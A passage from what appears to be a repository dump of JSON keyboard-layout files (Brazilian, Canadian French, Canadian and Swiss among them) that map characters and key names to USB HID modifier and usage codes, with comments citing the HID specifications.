\"-\":\"00,00,2e\",\n    \"$\":\"00,00,30\",\n    \"m\":\"00,00,33\",\n    \";\":\"00,00,36\",\n    \":\":\"00,00,37\",\n    \"=\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"Q\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"?\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"A\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"Z\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"W\":\"02,00,1d\",\n    \"1\":\"02,00,1e\",\n    \"2\":\"02,00,1f\",\n    \"3\":\"02,00,20\",\n    \"4\":\"02,00,21\",\n    \"5\":\"02,00,22\",\n    \"6\":\"02,00,23\",\n    \"7\":\"02,00,24\",\n    \"8\":\"02,00,25\",\n    \"9\":\"02,00,26\",\n    \"0\":\"02,00,27\",\n    \"_\":\"02,00,2e\",\n    \"*\":\"02,00,30\",\n    \"M\":\"02,00,33\",\n    \"%\":\"02,00,34\",\n    \".\":\"02,00,36\",\n    \"/\":\"02,00,37\",\n    \"+\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"|\":\"40,00,1e\",\n    \"@\":\"40,00,1f\",\n    \"#\":\"40,00,20\",\n    \"^\":\"40,00,23\",\n    \"{\":\"40,00,26\",\n    \"}\":\"40,00,27\",\n    \"[\":\"40,00,2f\",\n    \"]\":\"40,00,30\",\n    \"`\":\"40,00,31\",\n    \"~\":\"40,00,38\",\n    \"\\\\\":\"40,00,64\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,64\",\n    \"COMMAND-CTRL\":\"40,00,64\",\n    \"COMMAND-OPTION-SHIFT\":\"40,00,64\"\n}"
  },
  {
    "path": "languages/br.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"-\":\"00,00,2d\",\n    \"=\":\"00,00,2e\",\n    \"[\":\"00,00,30\",\n    \"]\":\"00,00,31\",\n    \"~\":\"00,00,34\",\n    \"'\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \";\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"\\\\\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"@\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,24\",\n    \"*\":\"02,00,25\",\n    \"(\":\"02,00,26\",\n    \")\":\"02,00,27\",\n    \"_\":\"02,00,2d\",\n    \"+\":\"02,00,2e\",\n    \"`\":\"02,00,2f\",\n    \"{\":\"02,00,30\",\n    \"}\":\"02,00,31\",\n    \"^\":\"02,00,34\",\n    \"\\\"\":\"02,00,35\",\n    \"<\":\"02,00,36\",\n    \">\":\"02,00,37\",\n    \":\":\"02,00,38\",\n    \"|\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"/\":\"40,00,14\",\n    \"?\":\"40,00,1a\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,1a\",\n    \"COMMAND-CTRL\":\"40,00,1a\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,1a\"\n}"
  },
  {
    "path": "languages/ca-fr.json",
    "content": "{\r\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\r\n    \"__comment\":\" \",\r\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\r\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\r\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\r\n    \"__comment\":\" \",\r\n    \"__comment\":\"Definition of these 3 bytes can be found\",\r\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\r\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\r\n    \"__comment\":\"  - byte 1: Modifier keys\",\r\n    \"__comment\":\"  - byte 2: Reserved\",\r\n    \"__comment\":\"  - byte 3: Keycode 1\",\r\n    \"__comment\":\" \",\r\n    \"__comment\":\"Both documents can be obtained from link here\",\r\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\r\n    \"__comment\":\" \",\r\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\r\n    \"__comment\":\" \",\r\n\t\"__comment\":\"   Canadian french version made by Dominic Villeneuve\",\r\n    \"a\":\"00,00,04\",\r\n    \"b\":\"00,00,05\",\r\n    \"c\":\"00,00,06\",\r\n    \"d\":\"00,00,07\",\r\n    \"e\":\"00,00,08\",\r\n    \"f\":\"00,00,09\",\r\n    \"g\":\"00,00,0a\",\r\n    \"h\":\"00,00,0b\",\r\n    \"i\":\"00,00,0c\",\r\n    \"j\":\"00,00,0d\",\r\n    \"k\":\"00,00,0e\",\r\n    \"l\":\"00,00,0f\",\r\n    \"m\":\"00,00,10\",\r\n    \"n\":\"00,00,11\",\r\n    \"o\":\"00,00,12\",\r\n    \"p\":\"00,00,13\",\r\n    \"q\":\"00,00,14\",\r\n    \"r\":\"00,00,15\",\r\n    \"s\":\"00,00,16\",\r\n    \"t\":\"00,00,17\",\r\n    \"u\":\"00,00,18\",\r\n    \"v\":\"00,00,19\",\r\n    \"w\":\"00,00,1a\",\r\n    \"x\":\"00,00,1b\",\r\n    \"y\":\"00,00,1c\",\r\n    \"z\":\"00,00,1d\",\r\n    \"1\":\"00,00,1e\",\r\n    \"2\":\"00,00,1f\",\r\n    \"3\":\"00,00,20\",\r\n    \"4\":\"00,00,21\",\r\n    \"5\":\"00,00,22\",\r\n    \"6\":\"00,00,23\",\r\n    \"7\":\"00,00,24\",\r\n    \"8\":\"00,00,25\",\r\n    \"9\":\"00,00,26\",\r\n    \"0\":\"00,00,27\",\r\n    \"ENTER\":\"00,00,28\",\r\n    \"ESC\":\"00,00,29\",\r\n    \"ESCAPE\":\"00,00,29\",\r\n    \"TAB\":\"00,00,2b\",\r\n    \" \":\"00,00,2c\",\r\n    \"SPACE\":\"00,00,2c\",\r\n    \"-\":\"00,00,2d\",\r\n    \"=\":\"00,00,2e\",\r\n    \"^\":\"00,00,2f\",\r\n    \"<\":\"40,00,36\",\r\n    \";\":\"00,00,33\",\r\n    \"`\":\"40,00,2f\",\r\n    \"#\":\"02,00,20\",\r\n    \",\":\"00,00,36\",\r\n    \".\":\"00,00,37\",\r\n    \"CAPSLOCK\":\"00,00,39\",\r\n    \"F1\":\"00,00,3a\",\r\n    \"F2\":\"00,00,3b\",\r\n    \"F3\":\"00,00,3c\",\r\n    \"F4\":\"00,00,3d\",\r\n    \"F5\":\"00,00,3e\",\r\n    \"F6\":\"00,00,3f\",\r\n    \"F7\":\"00,00,40\",\r\n    \"F8\":\"00,00,41\",\r\n    \"F9\":\"00,00,42\",\r\n    \"F10\":\"00,00,43\",\r\n    \"F11\":\"00,00,44\",\r\n    \"F12\":\"00,00,45\",\r\n    \"PRINTSCREEN\":\"00,00,46\",\r\n    \"SCROLLLOCK\":\"00,00,47\",\r\n    \"BREAK\":\"00,00,48\",\r\n    \"PAUSE\":\"00,00,48\",\r\n    \"INSERT\":\"00,00,49\",\r\n    \"HOME\":\"00,00,4a\",\r\n    \"PAGEUP\":\"00,00,4b\",\r\n    \"DEL\":\"00,00,4c\",\r\n    \"DELETE\":\"00,00,4c\",\r\n    \"END\":\"00,00,4d\",\r\n    \"PAGEDOWN\":\"00,00,4e\",\r\n    \"RIGHT\":\"00,00,4f\",\r\n    \"RIGHTARROW\":\"00,00,4f\",\r\n    \"LEFT\":\"00,00,50\",\r\n    \"LEFTARROW\":\"00,00,50\",\r\n    \"DOWN\":\"00,00,51\",\r\n    \"DOWNARROW\":\"00,00,51\",\r\n    \"UP\":\"00,00,52\",\r\n    \"UPARROW\":\"00,00,52\",\r\n    \"APP\":\"00,00,65\",\r\n    \"MENU\":\"00,00,65\",\r\n    \"ALT-TAB\":\"00,00,71\",\r\n    \"CONTROL\":\"01,00,00\",\r\n    \"CTRL\":\"01,00,00\",\r\n    \"SHIFT\":\"02,00,00\",\r\n    \"A\":\"02,00,04\",\r\n    \"B\":\"02,00,05\",\r\n    \"C\":\"02,00,06\",\r\n    \"D\":\"02,00,07\",\r\n    \"E\":\"02,00,08\",\r\n    \"F\":\"02,00,09\",\r\n    \"G\":\"02,00,0a\",\r\n    \"H\":\"02,00,0b\",\r\n    \"I\":\"02,00,0c\",\r\n    \"J\":\"02,00,0d\",\r\n    \"K\":\"02,00,0e\",\r\n    \"L\":\"02,00,0f\",\r\n    \"M\":\"02,00,10\",\r\n    \"N\":\"02,00,11\",\r\n    \"O\":\"02,00,12\",\r\n    \"P\":\"02,00,13\",\r\n    \"Q\":\"02,00,14\",\r\n    \"R\":\"02,00,15\",\r\n    \"S\":\"02,00,16\",\r\n    \"T\":\"02,00,17\",\r\n    \"U\":\"02,00,18\",\r\n    \"V\":\"02,00,19\",\r\n    \"W\":\"02,00,1a\",\r\n    \"X\":\"02,00,1b\",\r\n    \"Y\":\"02,00,1c\",\r\n    \"Z\":\"02,00,1d\",\r\n    \"!\":\"02,00,1e\",\r\n    \"\\\"\":\"02,00,35\",\r\n    \"/\":\"00,00,35\",\r\n    \"$\":\"02,00,21\",\r\n    \"%\":\"02,00,22\",\r\n    \"?\":\"02,00,23\",\r\n    \"&\":\"02,00,24\",\r\n    \"*\":\"02,00,25\",\r\n    \"(\":\"02,00,26\",\r\n    \")\":\"02,00,27\",\r\n    \"_\":\"02,00,2d\",\r\n    \"+\":\"02,00,2e\",\r\n    \">\":\"40,00,37\",\r\n    \":\":\"02,00,33\",\r\n    \"|\":\"40,00,35\",\r\n    \"'\":\"02,00,36\",\r\n    \"CTRL-SHIFT\":\"03,00,00\",\r\n    \"ALT\":\"04,00,00\",\r\n    \"\\\\\":\"02,00,35\",\r\n    \"CTRL-ALT\":\"05,00,00\",\r\n    \"ALT-SHIFT\":\"06,00,00\",\r\n    \"COMMAND\":\"08,00,00\",\r\n    \"GUI\":\"08,00,00\",\r\n    \"WINDOWS\":\"08,00,00\",\r\n    \"COMMAND-OPTION\":\"12,00,00\",\r\n    \"@\":\"02,00,1f\",\r\n    \"[\":\"40,00,26\",\r\n    \"]\":\"40,00,27\",\r\n    \"}\":\"40,00,25\",\r\n    \"~\":\"40,00,30\",\r\n    \"{\":\"40,00,24\",\r\n    \"COMMAND-CTRL-SHIFT\":\"40,00,34\",\r\n    \"COMMAND-CTRL\":\"40,00,34\",\r\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,34\"\r\n}\r\n"
  },
  {
    "path": "languages/ca.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"-\":\"00,00,2d\",\n    \"=\":\"00,00,2e\",\n    \"^\":\"00,00,2f\",\n    \"<\":\"00,00,31\",\n    \";\":\"00,00,33\",\n    \"`\":\"00,00,34\",\n    \"#\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"/\":\"02,00,20\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"?\":\"02,00,23\",\n    \"&\":\"02,00,24\",\n    \"*\":\"02,00,25\",\n    \"(\":\"02,00,26\",\n    \")\":\"02,00,27\",\n    \"_\":\"02,00,2d\",\n    \"+\":\"02,00,2e\",\n    \">\":\"02,00,31\",\n    \":\":\"02,00,33\",\n    \"|\":\"02,00,35\",\n    \"'\":\"02,00,36\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"\\\\\":\"04,00,35\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"@\":\"40,00,1f\",\n    \"[\":\"40,00,2f\",\n    \"]\":\"40,00,30\",\n    \"}\":\"40,00,31\",\n    \"~\":\"40,00,33\",\n    \"{\":\"40,00,34\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,34\",\n    \"COMMAND-CTRL\":\"40,00,34\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,34\"\n}"
  },
  {
    "path": "languages/ch.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"z\":\"00,00,1c\",\n    \"y\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"'\":\"00,00,2d\",\n    \"^\":\"00,00,2e\",\n    \"$\":\"00,00,31\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    